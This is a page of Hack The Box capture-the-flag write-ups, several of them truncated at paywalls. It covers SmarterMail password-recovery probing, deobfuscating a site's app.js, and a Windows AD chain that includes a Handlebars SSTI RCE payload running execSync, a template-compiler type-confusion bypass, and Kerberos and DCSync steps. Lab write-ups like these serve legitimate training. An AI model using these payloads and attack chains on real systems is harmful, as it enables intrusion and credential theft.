{"IsSysAdmin":"false","Username":"svc_mail@danglingtree.htb", …}

```

```json
{"success":false,"resultCode":400,"message":"Invalid input parameters",
 "debugInfo":"check1…check7\r\n"}

```

Fails at `check7` on the non-administrator branch — that branch validates `OldPassword`. So `force-reset-password` is only a bypass for system administrators; ordinary mailboxes need the current password. Closed.

**Attempt 4 — rename the administrator so it stops colliding.** I edited `administrators.json`, `"username":"svc_mail"` → `"smadmin"`, then reset `smadmin`:

```json
{"success":false,"resultCode":400,"message":"USER_NOT_FOUND",
 "debugInfo":"check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\n"}

```

`USER_NOT_FOUND` for an account that's *right there in the file*. That was the tell: **the service holds the administrator list in memory.** It writes that file; it does not re-read it. Every on-disk edit to SmarterMail's configuration is inert until a restart. That single fact invalidates a whole family of approaches — including the one I was about to try next: staging `noah.b` into the live domain by editing `accounts.json` and flipping `allow_show_password`. Which I had *already done*, and which therefore also did nothing.

File restored from the `.orig` copy I'd taken first. (Take backup copies before you edit live config. Every time.)

**Attempt 5 — read the logs and find out what the server actually thinks.** This is what finally explained everything.

`C:\SmarterMail\Logs\-administrative.log`:

```
Webmail Attempting to login user: svc_mail
Webmail Login failed: Domain [htb] not found
Webmail Login failed: Incorrect password for user [svc_mail@danglingtree.htb]

Webmail Attempting to login user: smadmin
Webmail Login failed: Domain [htb] not found
Webmail Login failed: User [smadmin] not found

```

So the resolution order is: try to derive a domain → look for a *mailbox* → only then consult the administrator list. A mailbox named `svc_mail` exists, so the administrator is permanently shadowed by it.

And then `-generalErrors.log` had the decisive entry — left over from the API probing phase:

```
ArgumentNullException Creating Token: EmailAddress: svc_mail, FullName: svc_mail,
UserName: svc_mail, RootEmailAddress: svc_mail, TTL: 60.00:00:00,
SysAdminId: ee7300a1-…, CanImpersonate: True, CanViewPasswords: True,
IsSystemAdmin: True, IsPrimarySystemAdmin: True, IsDomainAdmin: True, IsUser: True

```

Read that carefully. One of those early probes **did authenticate as the system administrator**. It got all the way to `CanViewPasswords: True`. And then token construction threw `ArgumentNullException` — the identity has `EmailAddress: svc_mail`, which is not an email address, and something downstream requires a domain part. The exception surfaces to the caller as a bare HTTP 401 with an empty message.

So the API route fails **twice over**: the name collision blocks the login path, and even when the login path is taken, no token can be issued. This isn't a configuration problem you can work around. It's broken. Dead end, confirmed by autopsy rather than by assumption — forty-three scripts' worth of assumption, to be precise.

## 3.3 Could a restart fix it? Yes — and I decided against it

Every blocker above dissolves on a restart: the renamed administrator loads, the staged mailbox loads, `allow_show_password` takes effect. So the obvious question: can I restart it?

`Get-Service` works as `svc_mail` (remember, it failed for `anderson.w`):

```
Name        : MailService
State       : Stopped
StartMode   : Disabled
StartName   : LocalSystem
ProcessId   : 0
PathName    : "C:\Program Files (x86)\SmarterTools\SmarterMail\Service\MailService.exe"

```

```
sc query MailService
  STATE : 1 STOPPED
  WIN32_EXIT_CODE : 1077 (ERROR_SERVICE_NEVER_STARTED)

```

Stopped, disabled, never started — and yet `MailService.exe` is running. And `whoami /groups` in that context shows:

```
NT AUTHORITY\INTERACTIVE
CONSOLE LOGON
Mandatory Label\Medium Mandatory Level

```

**The service entry is disabled and has never started. The process was launched interactively, in a console session, as `svc_mail`.** If I stop it, the SCM will not bring it back — and it's the only thing holding my `svc_mail` execution path open. `sc sdshow MailService` confirms I have no write access to the service anyway. Restarting would have meant killing the process and relaunching it myself from a detached child, betting that a console-session application restarts cleanly headless.

**Decision: leave it alone.** The upside was convenience; the downside was losing the execution path on a box that had already been reset once under me. Recovering the password offline was strictly safer and didn't depend on the service at all. Time to go reversing.

---

# Part 4 — Recovering the stored password offline

## 4.1 Reflection in-process — failed

The obvious move when you have code execution on the box: load the assembly and call the decryption method directly.

```powershell
[Reflection.Assembly]::LoadFrom("$svc\MailService.dll")
$asm.GetTypes() | ? { $_.GetMethods(...) -match 'Decrypt' }

```

Output: `DONE`. Zero types, no error surfaced.

**Cause, understood later:** `MailService.runtimeconfig.json` and `MailService.deps.json` in the install directory mean this is a **.NET Core / .NET 5+** application. The WAC channel gives me **Windows PowerShell 5.1**, which runs on .NET Framework — and .NET Framework cannot load .NET Core assemblies. The `try/catch` around `GetTypes()` swallowed the load failure and produced an empty list, which looks identical to "found nothing."

Could I run it under the right runtime on the box? `where dotnet` → not found. The deployment ships its own runtime, but there's no SDK, no compiler, no host I could point at arbitrary code. Abandoned — the work has to happen on my machine, which means getting the binaries off the box.

## 4.2 Finding the right assembly

Rather than guess, I searched the binaries for the strings that must be there:

```powershell
foreach dll in Service\*.dll:
    read bytes, check ASCII and UTF-16 for
      'password_encrypted' 'DecryptPassword' 'EncryptPassword' 'keymap2'

```

```
MailService.dll           [25402 KB]  -> password_encrypted, DecryptPassword,
                                         EncryptPassword, GetDecryptedPassword
SmarterMail.Standard.dll  [35490 KB]  -> password_encrypted, keymap2

```

Two assemblies, split responsibilities. `SmarterMail.Standard.dll` was already local — pulled through the API back in Part 0.4, in those painful 400 KB chunks. `MailService.dll` was not.

_This post is for paying subscribers only._
### Hack The Box -  HTB Cohort  Writeup - Easy - Weekly - August 1st, 2026
URL: https://1337sheets.com/hack-the-box-htb-cohort-writeup-easy-weekly-august-1st-2026/
Last updated: 2026-08-03T15:56:50.000Z
**Box:** Cohort · **OS:** Linux (Ubuntu 24.04) · **Difficulty:** Easy

## Step 1 — Recon

**Goal:** find the attack surface.

```bash
sudo ip link set dev tun0 mtu 1300      # do this first, see note
echo ' cohort.htb' | sudo tee -a /etc/hosts
sudo nmap -p- --min-rate 2000 -T4 -Pn 
sudo nmap -p22,80,443 -sCV -Pn 

```

**Result:**

```
22/tcp  open  ssh      OpenSSH 9.6p1
80/tcp  open  http     nginx 1.24.0   → 301 https://cohort.htb/
443/tcp open  ssl/http nginx 1.24.0
| ssl-cert: Subject: commonName=cohort.htb
| Subject Alternative Name: DNS:cohort.htb, DNS:*.cohort.htb

```

**What matters:** the certificate SAN contains **`*.cohort.htb`** — a wildcard.  
That tells you a subdomain is part of this box. Remember it; Step 5 is where you  
find out which one.

> **Note — set the MTU first.** On the HTB VPN, large outbound requests  
> black-hole on `tun0`: the connection opens and then silently stalls, which  
> looks exactly like a broken box. `mtu 1300` prevents it.

> **Note — don't bother fuzzing.** nginx returns the same 908-byte page for  
> every unknown path and a 178-byte 301 for every unknown vhost, so a fuzzer  
> matches everything. The subdomain you need is random hex and is not in any  
> wordlist — it gets *disclosed* to you in Step 5, not guessed.

---

## Step 2 — Deobfuscate `app.js`

**Goal:** recover the site's real source code.

The homepage is an empty shell — all logic is client-side:

```html
``` So `app.js` is where every server route is documented. ```bash curl -sk https://cohort.htb/assets/app.js -o app.js # ~123 KB ``` It is packed with **obfuscator.io**. Three parts you need to understand: | part | role | | ---------------------- | ------------------------------------------------------- | | a0\_0x2bc2() | array of encoded string literals | | a0\_0x41a8(index, key) | decoder — base64-decodes an entry, then RC4-decrypts it | | leading IIFE | **rotates the array** until a checksum matches | Every string in the file is a call like `a0_0x41a8(0x2e5,'cKx]')`. ### 2a. Resolve the calls The decoder is deterministic, so you can run it in isolation and rewrite every call site with its literal value (`deob.js`): _This post is for paying subscribers only._ ### Hack The Box - HTB DarkZero Returns Writeup - Hard - Weekly - July 25th, 2026 URL: https://1337sheets.com/hack-the-box-htb-darkzero-returns-writeup-hard-weekly-july-25th-2026/ Last updated: 2026-07-27T09:11:15.000Z **Difficulty:** Hard · **OS:** Windows two-forest Active Directory, reached through a Linux edge host **Chain:** Handlebars AST type-confusion RCE → credential reuse → Gitea CI pipeline poisoning → service-account takeover → `ksu` name-collision local root → DA via reused DB password → cross-forest golden ticket (SID-filter bypass) → `SeBackupPrivilege` → DCSync → root --- ## 1\. Redaction key & script conventions All instance-specific secrets are stripped: IPs, flags, passwords, hashes, SIDs, tokens. Every script below reads these from environment variables instead of hardcoding them, so the scripts are complete and functional — you populate the variables from your own recon as you go. | Placeholder / env var | What it is | Where it comes from | | --------------------- | ------------------------------------------------ | ---------------------------------------- | | $TARGET | public IP of the box | HTB machine panel | | $ATTACKER | your tun0 IP | ip -4 addr show tun0 | | $DC01 $DC02 $SRV01 | internal AD hosts | discovered post-pivot, §7 | | $INT\_CIDR | internal subnet | routing table on the edge host | | $OFF | seconds the DC clock leads yours | computed in §2.3 | | $DB\_PASS | app MySQL password | .env via RCE, §5 | | $JOSH\_PASS | domain user josh | crack app bcrypt, §5 | | $CELIA\_PASS | domain user celia (DA) | crack backup bcrypt, §12 | | $GIT\_PASS | password for the Gitea account you self-register | you choose it | | $ROOTPRINC\_PASS | password for the AD principal you create | you choose it | | $EXT\_SID $HTB\_SID | domain SIDs, no RID | bloodyAD get object ... --attr objectSid | | $KRBTGT\_AES | .ext krbtgt AES256 key | DCSync as celia, §13 | | $DC01\_NT | DC01 machine account NT hash | offline hive parse, §14 | | $ADMIN\_NT | .htb Administrator NT hash | DCSync as DC01$, §14 | | $PUBKEY | your SSH public key contents | ssh-keygen, §10 | Flag values are omitted entirely. --- ## 2\. Approach — how we worked the box, and environment prep ### 2.1 Overall method Before any exploitation, three structural facts changed how we approached everything after: 1. **Only two ports are open, and the box is billed as Windows.** That mismatch is the whole shape of the box: the thing you can reach directly is a thin Linux edge, and the real target — a two-forest AD estate — is entirely hidden behind it. This told us the web app was not "a service to break for its own sake" but a **pivot vehicle**, so we prioritized finding *some* command execution primitive over finding a clean/elegant one. 2. **`ksu` and Kerberos-heavy tooling meant clock skew would dominate debugging time** if we didn't solve it up front — Kerberos failures ("clock skew too great", "ticket not yet valid") look identical to authentication failures, and we didn't want to misattribute a skew problem to a wrong password or a broken exploit. So skew handling (`faketime`) was built before touching AD, not bolted on when the first weird error appeared. 3. **A Linux member server joined via SSSD is itself a domain identity provider.** Any local shell we got on it was worth checking against `/etc/nsswitch.conf` / `sssd.conf` / `realm list` immediately, because SSSD-joined hosts routinely have looser login policies than the DC itself (this paid off directly — see §6). The rest of the write-up follows the natural dependency order the box enforces: you cannot skip to the Gitea stage without the pivot, cannot pivot without a domain credential, and cannot get a domain credential without the web RCE. But *within* each stage we describe the dead ends we hit first, because most of them are natural things to try and the reason they fail is instructive (SID filtering, `SeBackupPrivilege` scope, `CREATE_CHILD` invisibility in BloodHound, etc). ### 2.2 MTU ```bash sudo ip link set dev tun0 mtu 1300 ``` **Why this had to be figured out first:** early in this box, large requests (a sizeable `git push`, a big JSON `PUT`) simply hung forever with zero error output, while everything else — logins, small API calls, SSH — worked fine. That asymmetry (works small, hangs big) is the signature of a **path-MTU black hole**, not a broken exploit or a dead service. The HTB VPN silently drops any packet larger than roughly 1300 bytes instead of fragmenting or returning ICMP "too big." Once diagnosed, the fix is a standing rule: cap `tun0` at 1300. **Consequential detail:** `tun0` resets to MTU 1500 on every VPN reconnect. If something that worked an hour ago starts hanging again with no config change on your end, check this before anything else. ### 2.3 Name resolution ``` $TARGET dzcampaigns.htb # added after the pivot (§7) — do not resolve before then $DC01 dc01.darkzero.htb darkzero.htb DC01 $DC02 gitea.darkzero.ext dc02.darkzero.ext darkzero.ext DC02 $SRV01 srv01.darkzero.ext SRV01 ``` ### 2.4 Clock skew We noticed the DCs were dramatically time-shifted the moment the first Kerberos attempt failed with a skew error despite a correct password — which told us this wasn't a wrong-credential problem. Rather than fight `systemd-timesyncd` (it kept dragging the local clock back mid-operation, invalidating tickets we'd just gotten), we settled on presenting DC time only to the specific commands that need it, via `faketime`: ```bash OFF=$(( $(date -u -d "$(curl -sSI http://gitea.darkzero.ext:3000/ \ | grep -i '^Date:' | sed 's/^[Dd]ate: //' | tr -d '\r')" +%s) - $(date -u +%s) )) echo $OFF # → $OFF, roughly 25200 (~7 hours) ``` Any HTTP service on a domain-joined host is a usable time oracle — the `Date:` header is precise enough for Kerberos' \~5-minute tolerance. **Standing rule for the rest of the box:** on **Kali**, prefix every Kerberos-touching command with `faketime -f "+${OFF}s"`. On **SRV01** once we have a shell there, **never** — that host's clock is already synced to the DC, and applying the offset a second time breaks things instead of fixing them. This distinction cost real time on the first attempt at this box and is worth internalizing before you start. ### 2.5 `/etc/krb5.conf` Both realms, DNS lookups disabled (internal DNS answers were inconsistent through the pivot, and `rdns` in particular handed back the wrong SPN on at least one lookup): ```ini [libdefaults] default_realm = DARKZERO.EXT dns_lookup_realm = false dns_lookup_kdc = false rdns = false [realms] DARKZERO.EXT = { kdc = $DC02 admin_server = $DC02 } DARKZERO.HTB = { kdc = $DC01 admin_server = $DC01 } [domain_realm] .darkzero.ext = DARKZERO.EXT darkzero.ext = DARKZERO.EXT .darkzero.htb = DARKZERO.HTB darkzero.htb = DARKZERO.HTB ``` --- ## 3\. Recon ```bash nmap -p- --min-rate 5000 -Pn $TARGET nmap -p22,80 -sCV -Pn $TARGET ``` ``` 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 80/tcp open http nginx 1.24.0 (Ubuntu) → redirects to http://dzcampaigns.htb/ ``` Two ports, Ubuntu banners, but the machine is labeled Windows — as discussed in §2.1 this is the load-bearing observation of the whole recon phase. Add the vhost and move on to the app; there is nothing else to enumerate at the network layer yet. ```bash echo "$TARGET dzcampaigns.htb" | sudo tee -a /etc/hosts ``` Cookie/header inspection (`whatweb`, or just watching `Set-Cookie`): the app sets `dz.sid `— an `express-session` signed cookie — and returns a weak ETag. That's enough to place this as a **custom Node/Express application**, not an off-the-shelf CMS, which sets the expectation that any vulnerability here is bespoke rather than a known CVE we can just search for by product name. --- ## 4\. Web app reconnaissance: "DarkZero Campaigns" A D&D-themed campaign manager. Registration is open. After logging in, the interesting surface is character creation (`/character/new`), which has a `campaign_message` field whose **default placeholder text is itself a template**: ``` A new face emerges! The {{race}} {{class}} {{name}} has joined the campaign... ``` That placeholder is the tell — it means the field is rendered through some templating engine, and since the message is echoed back non-blind in the campaign log (`GET /campaign/1`), we have direct visibility into the render output. Two things ruled out immediately, both worth mentioning because they're the obvious next things to try and both were dead ends: - `/dice` — looked promising for a server-side RNG attack, but it's 100% client-side (`crypto.getRandomValues`). No server involvement at all. - Brute-forcing login — rate-limited at roughly 10 attempts / 900s. Not viable, not needed. ### 4.1 Fingerprinting the template engine We didn't assume Handlebars — we tested candidate syntaxes against the render sink to rule engines in or out: | Input | Result | Inference | | --------------------------- | ------------------------------------- | --------------------------------------------------------------------------- | | {{7\*7}} | HTTP 400 (parse error) | strict parser — arithmetic isn't valid syntax here | | {{race}} | renders correctly | the field name works as a normal variable | | {{#if true}}IFOK{{/if}} | → IFOK | Handlebars-specific literal/block handling | | {% if true %}...{% endif %} | rendered **literally**, not evaluated | rules out Nunjucks/Jinja2/Liquid — that syntax means nothing to this engine | | \`{{#with "s" as | x | }}WITHOK{{/with}}\` | Conclusion: **Handlebars**, and a reasonably modern one (block params supported). ### 4.2 The obvious SSTI payload — and why it fails The standard Handlebars RCE walks the prototype chain through a helper: ```handlebars {{#with "s" as |string|}}{{#with (string.sub.apply 0 "console.log(process.mainModule.require('child_process').execSync('id'))")}}{{/with}}{{/with}} ``` This returns an **empty render**, not an error — `s.constructor` access is silently blocked. That's the signature of Handlebars' built-in **prototype access guard** (`allowedProtoMethods` / `allowedProtoProperties`, present since Handlebars ≥ 4.6): it's not that the template is malformed, it's that the engine is actively refusing to resolve `.constructor` off a primitive. Trying variations on this theme (different primitives, different chained property paths) is not going to get further — the guard is a property filter applied at property-access time, so any path through `.constructor` is caught the same way. We stopped pushing on this axis and asked a different question: is there a way to get code execution that doesn't go through the *runtime* proto guard at all? ### 4.3 The actual bug — CVE-2026-33937 (Handlebars AST type-confusion) `Handlebars.compile()` has always accepted two distinct input shapes, which is easy to miss because almost everyone only ever passes the first: 1. a **string** — the normal case, which the library parses into an AST and then compiles; 2. an **already-parsed AST object** — used internally / by tooling that pre-parses — which is compiled **directly, skipping the parser entirely**. `compile()` distinguishes the two by checking whether the input is an object with `.type === 'Program'`. This matters because the runtime proto guard we just hit in §4.2 is enforced by the **parser/runtime helpers**, not by the code generator — if we can hand `compile()` a pre-built AST, we bypass the layer that was blocking us, because we're no longer relying on any helper call the guard instruments. The code generator assumes any AST it receives came from its own parser, and therefore trusts node **types** without re-validating them. In particular, it emits a `NumberLiteral`'s `.value` into the generated JavaScript **unquoted** — reasonable, since a genuine number literal can never contain syntax that needs escaping: ```js // conceptually, inside the codegen: case 'NumberLiteral': return String(node.value); // no quoting, no escaping — "trusted" ``` If `.value` is a **string** instead of a number, that's a type confusion the generator never checks for, and the string's contents are spliced raw into the compiled function body. That is arbitrary JavaScript execution at template-compile time — a different, and much stronger, primitive than the guarded runtime helper calls of §4.2. The remaining problem: the app's form field is a plain HTML `